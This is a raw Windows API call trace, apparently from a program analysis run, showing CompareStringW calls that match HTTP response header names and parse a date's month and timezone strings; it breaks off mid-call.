CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Connection", cchCount2=10) returned 2 [0119.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Version", cchCount2=15) returned 3 [0119.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Version", cchCount2=15) returned 1 [0119.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Version", cchCount2=15) returned 3 [0119.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Version", cchCount2=15) returned 1 [0119.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Content-Version", cchCount2=15) returned 3 [0119.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Version", cchCount2=15) returned 3 [0119.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Content-Version", cchCount2=15) returned 1 [0119.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Content-Version", cchCount2=15) returned 1 [0119.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X-IPLB-Instance", cchCount1=15, lpString2="Content-Version", cchCount2=15) returned 3 [0119.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-Cache-Status", cchCount1=15, lpString2="Content-Version", cchCount2=15) returned 1 [0119.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Age", cchCount1=3, lpString2="Content-Version", cchCount2=15) returned 1 [0119.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Expect-CT", cchCount1=9, lpString2="Content-Version", cchCount2=15) returned 3 [0119.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Version", cchCount2=15) returned 3 [0119.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-RAY", cchCount1=6, lpString2="Content-Version", cchCount2=15) returned 1 [0119.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Disposition", cchCount2=19) returned 1 [0119.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Content-Disposition", cchCount2=19) returned 1 [0119.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Content-Disposition", cchCount2=19) returned 1 [0119.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X-IPLB-Instance", cchCount1=15, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-Cache-Status", cchCount1=15, lpString2="Content-Disposition", cchCount2=19) returned 1 [0119.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Age", cchCount1=3, lpString2="Content-Disposition", cchCount2=19) returned 1 [0119.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Expect-CT", cchCount1=9, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-RAY", cchCount1=6, lpString2="Content-Disposition", cchCount2=19) returned 1 [0119.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Encoding", cchCount2=16) returned 1 [0119.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Content-Encoding", cchCount2=16) returned 1 [0119.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Content-Encoding", cchCount2=16) returned 1 [0119.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X-IPLB-Instance", cchCount1=15, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-Cache-Status", cchCount1=15, lpString2="Content-Encoding", cchCount2=16) returned 1 [0119.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Age", cchCount1=3, lpString2="Content-Encoding", cchCount2=16) returned 1 [0119.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Expect-CT", cchCount1=9, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-RAY", cchCount1=6, lpString2="Content-Encoding", cchCount2=16) returned 1 [0119.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Language", cchCount2=16) returned 3 [0119.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Language", cchCount2=16) returned 3 [0119.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Language", cchCount2=16) returned 3 [0119.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Language", cchCount2=16) returned 1 [0119.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Content-Language", cchCount2=16) returned 3 [0119.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Language", cchCount2=16) returned 3 [0119.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Content-Language", cchCount2=16) returned 1 [0119.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Content-Language", cchCount2=16) returned 1 [0119.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X-IPLB-Instance", cchCount1=15, lpString2="Content-Language", cchCount2=16) returned 3 [0119.316] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-Cache-Status", cchCount1=15, lpString2="Content-Language", cchCount2=16) returned 1 [0119.316] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Age", cchCount1=3, lpString2="Content-Language", cchCount2=16) returned 1 [0119.316] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Expect-CT", cchCount1=9, lpString2="Content-Language", cchCount2=16) returned 3 [0119.316] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Language", cchCount2=16) returned 3 [0119.316] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-RAY", cchCount1=6, lpString2="Content-Language", cchCount2=16) returned 1 [0119.316] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Type", cchCount2=12) returned 3 [0119.316] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Type", cchCount2=12) returned 2 [0119.316] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UTF-8", cchCount1=1, lpString2="\"", cchCount2=1) returned 3 [0119.316] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="charset=UTF-8", cchCount1=7, lpString2="charset", cchCount2=7) returned 2 [0119.316] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Length", cchCount2=14) returned 3 [0119.316] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Length", cchCount2=14) returned 3 [0119.316] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Length", cchCount2=14) returned 3 [0119.316] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Length", cchCount2=14) returned 1 [0119.316] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Content-Length", cchCount2=14) returned 3 [0119.316] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Length", cchCount2=14) returned 3 [0119.316] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Content-Length", cchCount2=14) returned 1 [0119.316] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Content-Length", cchCount2=14) returned 1 [0119.316] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X-IPLB-Instance", cchCount1=15, lpString2="Content-Length", cchCount2=14) returned 3 [0119.316] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-Cache-Status", cchCount1=15, lpString2="Content-Length", cchCount2=14) returned 1 [0119.316] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Age", cchCount1=3, lpString2="Content-Length", cchCount2=14) returned 1 [0119.316] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Expect-CT", cchCount1=9, lpString2="Content-Length", cchCount2=14) returned 3 [0119.316] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Length", cchCount2=14) returned 3 [0119.316] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-RAY", cchCount1=6, lpString2="Content-Length", cchCount2=14) returned 1 [0119.317] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Range", cchCount2=13) returned 3 [0119.317] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Range", cchCount2=13) returned 3 [0119.317] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Range", cchCount2=13) returned 3 [0119.317] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Range", cchCount2=13) returned 1 [0119.317] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Content-Range", cchCount2=13) returned 3 [0119.317] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Range", cchCount2=13) returned 3 [0119.317] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Content-Range", cchCount2=13) returned 1 [0119.317] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Content-Range", cchCount2=13) returned 1 [0119.317] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X-IPLB-Instance", cchCount1=15, lpString2="Content-Range", cchCount2=13) returned 3 [0119.317] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-Cache-Status", cchCount1=15, lpString2="Content-Range", cchCount2=13) returned 1 [0119.317] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Age", cchCount1=3, lpString2="Content-Range", cchCount2=13) returned 1 [0119.317] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Expect-CT", cchCount1=9, lpString2="Content-Range", cchCount2=13) returned 3 [0119.317] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Range", cchCount2=13) returned 3 [0119.317] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-RAY", cchCount1=6, lpString2="Content-Range", cchCount2=13) returned 1 [0119.317] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Date", cchCount2=4) returned 2 [0119.317] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Sun", cchCount1=3, lpString2="SUN", cchCount2=3) returned 2 [0119.317] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JAN", cchCount2=3) returned 1 [0119.317] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="FEB", cchCount2=3) returned 1 [0119.317] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAR", cchCount2=3) returned 1 [0119.317] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="APR", cchCount2=3) returned 1 [0119.317] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAY", cchCount2=3) returned 1 [0119.317] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUN", cchCount2=3) returned 1 [0119.317] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUL", cchCount2=3) returned 1 [0119.317] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AUG", cchCount2=3) returned 1 [0119.317] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="SEP", cchCount2=3) returned 1 [0119.317] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="OCT", cchCount2=3) returned 1 [0119.317] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="NOV", cchCount2=3) returned 1 [0119.318] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="DEC", cchCount2=3) returned 1 [0119.318] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.318] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.318] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.318] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.318] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.318] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUNE", cchCount2=4) returned 1 [0119.318] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JULY", cchCount2=4) returned 1 [0119.318] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.318] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="SEPT", cchCount2=4) returned 1 [0119.318] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.318] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.318] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.318] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.318] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.318] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MRZ", cchCount2=3) returned 1 [0119.318] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.318] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAI", cchCount2=3) returned 1 [0119.318] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.318] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.318] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.318] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.318] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="OKT", cchCount2=3) returned 1 [0119.318] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.318] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="DEZ", cchCount2=3) returned 1 [0119.318] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="ENO", cchCount2=3) returned 1 [0119.318] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="FBRO", cchCount2=4) returned 1 [0119.318] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MZO", cchCount2=3) returned 1 [0119.318] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AB", cchCount2=2) returned 1 [0119.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AGTO", cchCount2=4) returned 1 [0119.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="SBRE", cchCount2=4) returned 1 [0119.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="OBRE", cchCount2=4) returned 1 [0119.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="NBRE", cchCount2=4) returned 1 [0119.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="DBRE", cchCount2=4) returned 1 [0119.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MRT", cchCount2=3) returned 1 [0119.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MEI", cchCount2=3) returned 1 [0119.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="OKT", cchCount2=3) returned 1 [0119.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JANV", cchCount2=4) returned 1 [0119.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="FÉV", cchCount2=3) returned 1 [0119.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MARS", cchCount2=4) returned 1 [0119.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AVR", cchCount2=3) returned 1 [0119.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAI", cchCount2=3) returned 1 [0119.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUIN", cchCount2=4) returned 1 [0119.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUIL", cchCount2=4) returned 1 [0119.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AOÛ", cchCount2=3) returned 1 [0119.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="SEPT", cchCount2=4) returned 1 [0119.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="DÉC", cchCount2=3) returned 1 [0119.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="FÉVR", cchCount2=4) returned 1 [0119.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUI", cchCount2=3) returned 1 [0119.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AOÛT", cchCount2=4) returned 1 [0119.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAJ", cchCount2=3) returned 1 [0119.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AVG", cchCount2=3) returned 1 [0119.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mar", cchCount1=3, lpString2="JAN", cchCount2=3) returned 3 [0119.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mar", cchCount1=3, lpString2="FEB", cchCount2=3) returned 3 [0119.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mar", cchCount1=3, lpString2="MAR", cchCount2=3) returned 2 [0119.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="A", cchCount2=1) returned 3 [0119.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ACDT", cchCount2=4) returned 3 [0119.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ACST", cchCount2=4) returned 3 [0119.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ACT", cchCount2=3) returned 3 [0119.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ADT", cchCount2=3) returned 3 [0119.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AEDT", cchCount2=4) returned 3 [0119.321] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AEST", cchCount2=4) returned 3 [0119.321] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AFT", cchCount2=3) returned 3 [0119.321] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AKDT", cchCount2=4) returned 3 [0119.321] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AKST", cchCount2=4) returned 3 [0119.321] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AMST", cchCount2=4) returned 3 [0119.321] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AMST", cchCount2=4) returned 3 [0119.321] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AMT", cchCount2=3) returned 3 [0119.321] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 